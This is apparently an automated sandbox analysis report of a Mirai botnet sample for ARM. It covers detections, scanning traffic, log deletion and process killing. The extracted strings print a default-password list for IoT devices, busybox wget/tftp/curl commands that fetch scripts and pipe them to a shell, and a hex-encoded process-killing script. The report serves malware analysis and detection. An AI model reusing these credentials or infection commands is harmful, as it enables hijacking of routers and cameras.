Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1542008
MD5: 6927f50eca5504c0b03a496284c691ad
SHA1: 763276464ac0755f05dcf4499d02eb6b20d44002
SHA256: ac36ede9aed38867fcb6e2801a0cbb4f1a2022451c4a2190fbc71ab00661c374
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: la.bot.arm5.elf ReversingLabs: Detection: 39%
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4(

Networking

barindex
Source: global traffic TCP traffic: 38.54.122.172 ports 1,5,7,8,9,15987
Source: global traffic TCP traffic: 192.168.2.13:59128 -> 38.54.122.172:15987
Source: /tmp/la.bot.arm5.elf (PID: 5424) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 176.205.229.22
Source: unknown TCP traffic detected without corresponding DNS query: 176.205.229.22
Source: unknown TCP traffic detected without corresponding DNS query: 107.99.127.154
Source: unknown TCP traffic detected without corresponding DNS query: 107.99.127.154
Source: unknown TCP traffic detected without corresponding DNS query: 107.198.116.178
Source: unknown TCP traffic detected without corresponding DNS query: 107.198.116.178
Source: unknown TCP traffic detected without corresponding DNS query: 99.134.58.114
Source: unknown TCP traffic detected without corresponding DNS query: 99.134.58.114
Source: unknown TCP traffic detected without corresponding DNS query: 42.105.175.29
Source: unknown TCP traffic detected without corresponding DNS query: 42.105.175.29
Source: unknown TCP traffic detected without corresponding DNS query: 109.57.152.183
Source: unknown TCP traffic detected without corresponding DNS query: 109.57.152.183
Source: unknown TCP traffic detected without corresponding DNS query: 212.123.150.101
Source: unknown TCP traffic detected without corresponding DNS query: 212.123.150.101
Source: unknown TCP traffic detected without corresponding DNS query: 222.242.122.76
Source: unknown TCP traffic detected without corresponding DNS query: 222.242.122.76
Source: unknown TCP traffic detected without corresponding DNS query: 137.113.193.127
Source: unknown TCP traffic detected without corresponding DNS query: 137.113.193.127
Source: unknown TCP traffic detected without corresponding DNS query: 185.147.78.192
Source: unknown TCP traffic detected without corresponding DNS query: 185.147.78.192
Source: unknown TCP traffic detected without corresponding DNS query: 202.240.252.40
Source: unknown TCP traffic detected without corresponding DNS query: 202.240.252.40
Source: unknown TCP traffic detected without corresponding DNS query: 103.75.141.199
Source: unknown TCP traffic detected without corresponding DNS query: 103.75.141.199
Source: unknown TCP traffic detected without corresponding DNS query: 125.92.141.240
Source: unknown TCP traffic detected without corresponding DNS query: 147.57.164.4
Source: unknown TCP traffic detected without corresponding DNS query: 125.92.141.240
Source: unknown TCP traffic detected without corresponding DNS query: 96.59.112.55
Source: unknown TCP traffic detected without corresponding DNS query: 147.57.164.4
Source: unknown TCP traffic detected without corresponding DNS query: 151.143.133.227
Source: unknown TCP traffic detected without corresponding DNS query: 96.59.112.55
Source: unknown TCP traffic detected without corresponding DNS query: 50.43.191.19
Source: unknown TCP traffic detected without corresponding DNS query: 151.143.133.227
Source: unknown TCP traffic detected without corresponding DNS query: 177.156.166.134
Source: unknown TCP traffic detected without corresponding DNS query: 50.43.191.19
Source: unknown TCP traffic detected without corresponding DNS query: 121.24.87.133
Source: unknown TCP traffic detected without corresponding DNS query: 177.156.166.134
Source: unknown TCP traffic detected without corresponding DNS query: 60.141.204.17
Source: unknown TCP traffic detected without corresponding DNS query: 121.24.87.133
Source: unknown TCP traffic detected without corresponding DNS query: 103.233.28.193
Source: unknown TCP traffic detected without corresponding DNS query: 60.141.204.17
Source: unknown TCP traffic detected without corresponding DNS query: 113.101.23.27
Source: unknown TCP traffic detected without corresponding DNS query: 103.233.28.193
Source: unknown TCP traffic detected without corresponding DNS query: 122.234.54.98
Source: unknown TCP traffic detected without corresponding DNS query: 113.101.23.27
Source: unknown TCP traffic detected without corresponding DNS query: 106.128.173.37
Source: unknown TCP traffic detected without corresponding DNS query: 122.234.54.98
Source: unknown TCP traffic detected without corresponding DNS query: 33.182.30.255
Source: unknown TCP traffic detected without corresponding DNS query: 106.128.173.37
Source: unknown TCP traffic detected without corresponding DNS query: 72.51.22.174
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.arm5.elf (PID: 5426) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@2/0

Data Obfuscation

barindex
Source: /tmp/la.bot.arm5.elf (PID: 5427) File: /etc/config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5427) Directory: /etc/.java Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/790/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/792/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/793/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/795/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/778/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/855/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/780/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/660/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/783/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/884/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/765/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/767/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/726/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5426) File opened: /proc/727/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.arm5.elf (PID: 5427) Log files deleted: /var/log/kern.log Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5424) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 5424.1.00007fffc5eb3000.00007fffc5ed4000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 5424.1.00005567881d5000.0000556788323000.rw-.sdmp Binary or memory string: gU!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5424.1.00005567881d5000.0000556788323000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5424.1.00007fffc5eb3000.00007fffc5ed4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

barindex
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality

barindex
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs